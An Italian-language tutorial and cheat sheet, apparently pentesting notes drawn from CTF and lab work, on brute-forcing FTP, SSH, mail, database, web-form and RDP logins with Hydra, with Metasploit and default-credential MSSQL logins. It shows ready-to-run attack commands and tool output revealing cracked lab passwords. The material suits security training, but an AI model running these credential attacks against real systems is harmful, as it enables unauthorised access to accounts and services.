Le opzioni che passiamo a Hydra dipendono dal servizio (protocollo) che stiamo attaccando. Ad esempio, se volessimo usare FTP con forza bruta con username user e un elenco di password passlist.txt, useremmo il seguente comando:
hydra -l user -P passlist.txt ftp://10.10.95.108SSH
hydra -l <username> -P <full path to pass> 10.10.95.108 -t 4 ssh
- l specifies the (SSH) username for login
- P indicates a list of passwords
- t sets the number of threads to spawn
Ad esempio, hydra -l root -P passwords.txt 10.10.95.108 -t 4 ssh verrà eseguito con i seguenti argomenti:
Hydra utilizzerà root come nome utente per ssh Proverà le password nel file passwords.txt Ci saranno quattro thread in esecuzione in parallelo come indicato da -t 4
In caso ci restituisse un sacco di errori possiamo utilizzare la flag -f oppure sostituire la F con la R nella sezione errore.
SMTP & SMTPS
#SMTP
hydra -l [email protected] -P wordlist smtp://indirizzoIP
#SMTPS
hydra -l [email protected] -P clinic_rule.txt -s 465 smtps://10.10.219.206
POP3
hydra -l boris -P /opt/wordlists/rockyou.txt -s 55006 -S 10.80.164.230 pop3 -VNel caso la porta fosse quella standard non c’è bisogno si specificarla con il parametro -s.
Microsoft SQL Sever
Per effettuare un attacco a dizionario su un server Microsoft SQL ci basta avere l’indirizzo IP e la porta per trovare le credenziali:
hydra -L <userwordlist> -P <passwordwordlist> -s <porta> <indirizzo IP> mssqlSe Hydra da problemi usa Metasploit:
use auxiliary/scanner/mssql/mssql_login
set RHOSTS 192.168.0.222
set USER_FILE users.txt
set PASS_FILE rockyou.txt
set THREADS 10
runNelle CTF ogni tanto usano queste credenziali di default:
sqsh -S 192.168.0.222 -U sa -P ""
tsql -H 192.168.0.222 -p 1433 -U sa -P ""Mysql
hydra -l root -P <passwordlist> <indirizzo IP> mysqlBrute-Forcing HTTP Basic Authentication
hydra -L usernames.txt -P passwords.txt www.example.com http-get /Get Web Form
Per fare un attacco a dizionario ad un login GET possiamo utilizzare la seguente sintassi:
hydra -l admin -P 500-worst-passwords.txt 10.10.x.x http-get-form "/login-get/index.php:username=^USER^&password=^PASS^:F=Login Failed!" Post Web Form
Enumerazione utenti
Per prima cosa dobbiamo scoprire quali utenti effettivamente esistono nel database per evitare di fare un attacco ClusteBomb che richiederebbe un sacco di tempo, per farlo possiamo usare Hydra e mettere come wordlist una wordlist di username e come password una password errata, recuperare il messaggio di errore del nome utente non valido ed inserirlo nella stringa di Hydra nel seguente modo:
hydra -L usernames.txt -p una_password_errata 192.168.1.1 http-post-form "/login:username=^USER^&password=^PASS^:S=302" -vVEsempio
hydra -L user.txt -p panino 0a42008103180979801e3ae100ad003b.web-security-academy.net https-post-form "/login:username=^USER^&password=^PASS^:F=Invalid username"
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-06-09 10:48:28
[DATA] max 16 tasks per 1 server, overall 16 tasks, 101 login tries (l:101/p:1), ~7 tries per task
[DATA] attacking http-post-forms://0a42008103180979801e3ae100ad003b.web-security-academy.net:443/login:username=^USER^&password=^PASS^:F=Invalid username
[443][http-post-form] host: 0a42008103180979801e3ae100ad003b.web-security-academy.net login: user password: panino
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-06-09 10:48:51Come puoi notare dall’esempio quando inseriamo il dominio al posto che l’indirizzo IP non dobbiamo mettere https://, ma solo il dominio
Anche in questo caso se restituisce un sacco di falsi positivi prova ad aggiungere la flag -f oppure sostituire la F con la R nella sezione errore.
Nel caso la richiesta fosse di tipo JSON è comunque meglio utilizzare il formato x-www-form-urlencoded nella speranza che venga accettato perchè Hydra non riesce a gestire il formato JSON.
Enumerazione Password
Per enumerare la password possiamo fare la stessa identica cosa fatta per l’enumerazione degli utenti, l’unica differenza sta nel modificare il nome utente con quello trovato e la password con una wordlist e infine modificare il messaggio di errore:
hydra -l <username> -P <password_file> 0a42008103180979801e3ae100ad003b.web-security-academy.net https-post-form "/login:username=^USER^&password=^PASS^:F=<error_message>"Esempio
hydra -l user -P passwd.txt 0a42008103180979801e3ae100ad003b.web-security-academy.net https-post-form "/login:username=^USER^&password=^PASS^:F=Incorrect password"
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-06-09 10:50:21
[DATA] max 16 tasks per 1 server, overall 16 tasks, 101 login tries (l:1/p:101), ~7 tries per task
[DATA] attacking http-post-forms://0a42008103180979801e3ae100ad003b.web-security-academy.net:443/login:username=^USER^&password=^PASS^:F=Incorrect password
[443][http-post-form] host: 0a42008103180979801e3ae100ad003b.web-security-academy.net login: user password: asdfgh
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-06-09 10:50:32Quando il messaggio di errore è lo stesso
Quando il server non ci da informazioni sugli utenti possiamo utilizzare comunque Hydra mettendo due Wordlist una per gli utenti e una per le password:
hydra -L <username_file> -P <password_file> 0a42008103180979801e3ae100ad003b.web-security-academy.net https-post-form "/login:username=^USER^&password=^PASS^:F=<error_message>"Possiamo usare Hydra anche per forzare brute force i moduli web. Devi sapere che tipo di richiesta sta facendo; i metodi GET o POST sono comunemente usati. Puoi usare la scheda di rete del tuo browser (negli strumenti per sviluppatori) per vedere i tipi di richiesta o visualizzare il codice sorgente.
hydra -l <username> -P <wordlist> 10.10.95.108 http-post-form "/pagina_di_login:username=^USER^&password=^PASS^:F=<tipo di errore>" -V- La pagina di login è solo /, ovvero l’indirizzo IP principale.
- Lo username è il campo del modulo in cui viene inserito lo username
- Lo username specificato sotituirà a ^USER^
- La password è il campo del modulo in cui viene inserita la password
- Le password fornite sostituiranno ^PASS^
- Infine, F=incorrect è una stringa che appare nella risposta del server quando il login fallisce
In caso restituisse un sacco di falsi positivi puoi provare ad aggiungere la flag -f oppure sostituire la F con la R nella sezione errore.
Porta
Quando per esempio si deve fare un brute force ad una pagina di login che però non è presente sulla porta di default 80 si può usare la flag “-s numero-porta” alla fine della stringa, come nel seguente esempio fatto alla porta 8080 di un portale Jenkins:
hydra -l admin -P /opt/utili/wordlists/rockyou.txt 10.10.44.124 http-post-form "/j_acegi_security_check:j_username=^USER^&j_password=^PASS^:Invalid username or password" -s 8080Brute-forcing avanzato RDP
Ora, immagina di testare un servizio Remote Desktop Protocol (RDP) su un server con IP 192.168.1.100. Sospetti che il nome utente sia “amministratore” e che la password sia composta da 6-8 caratteri, inclusi lettere minuscole, lettere maiuscole e numeri. Per eseguire questo attacco preciso, utilizza il seguente comando Hydra:
hydra -l administrator -x 6:8:abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 192.168.1.100 rdpCon il comando -x 6:8:abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 gli stiamo dicendo prova ogni possibile password tra i 6 e gli 8 caratteri che contengano i seguenti caratteri.
Cheat Sheet
| Parameter | Explanation | Usage Example |
|---|---|---|
-l LOGIN or -L FILE | Login options: Specify either a single username (-l) or a file containing a list of usernames (-L). | hydra -l admin ... or hydra -L usernames.txt ... |
-p PASS or -P FILE | Password options: Provide either a single password (-p) or a file containing a list of passwords (-P). | hydra -p password123 ... or hydra -P passwords.txt ... |
-t TASKS | Tasks: Define the number of parallel tasks (threads) to run, potentially speeding up the attack. | hydra -t 4 ... |
-f | Fast mode: Stop the attack after the first successful login is found. | hydra -f ... |
-s PORT | Port: Specify a non-default port for the target service. | hydra -s 2222 ... |
-v or -V | Verbose output: Display detailed information about the attack’s progress, including attempts and results. | hydra -v ... or hydra -V ... (for even more verbosity) |
service://server | Target: Specify the service (e.g., ssh, http, ftp) and the target server’s address or hostname. | hydra ssh://192.168.1.100 |
/OPT | Service-specific options: Provide any additional options required by the target service. | hydra http-get://example.com/login.php -m "POST:user=^USER^&pass=^PASS^" (for HTTP form-based authentication |
| Hydra Service | Service/Protocol | Description | Example Command |
|---|---|---|---|
| ftp | File Transfer Protocol (FTP) | Used to brute-force login credentials for FTP services, commonly used to transfer files over a network. | hydra -l admin -P /path/to/password_list.txt ftp://192.168.1.100 |
| ssh | Secure Shell (SSH) | Targets SSH services to brute-force credentials, commonly used for secure remote login to systems. | hydra -l root -P /path/to/password_list.txt ssh://192.168.1.100 |
| http-get/post | HTTP Web Services | Used to brute-force login credentials for HTTP web login forms using either GET or POST requests. | hydra -l admin -P /path/to/password_list.txt http-post-form "/login.php:user=^USER^&pass=^PASS^:F=incorrect" |
| smtp | Simple Mail Transfer Protocol | Attacks email servers by brute-forcing login credentials for SMTP, commonly used to send emails. | hydra -l admin -P /path/to/password_list.txt smtp://mail.server.com |
| pop3 | Post Office Protocol (POP3) | Targets email retrieval services to brute-force credentials for POP3 login. | hydra -l [email protected] -P /path/to/password_list.txt pop3://mail.server.com |
| imap | Internet Message Access Protocol | Used to brute-force credentials for IMAP services, which allow users to access their email remotely. | hydra -l [email protected] -P /path/to/password_list.txt imap://mail.server.com |
| mysql | MySQL Database | Attempts to brute-force login credentials for MySQL databases. | hydra -l root -P /path/to/password_list.txt mysql://192.168.1.100 |
| mssql | Microsoft SQL Server | Targets Microsoft SQL servers to brute-force database login credentials. | hydra -l sa -P /path/to/password_list.txt mssql://192.168.1.100 |
| vnc | Virtual Network Computing (VNC) | Brute-forces VNC services, used for remote desktop access. | hydra -P /path/to/password_list.txt vnc://192.168.1.100 |
| rdp | Remote Desktop Protocol (RDP) | Targets Microsoft RDP services for remote login brute-forcing. | hydra -l admin -P /path/to/password_list.txt rdp://192.168.1.100 |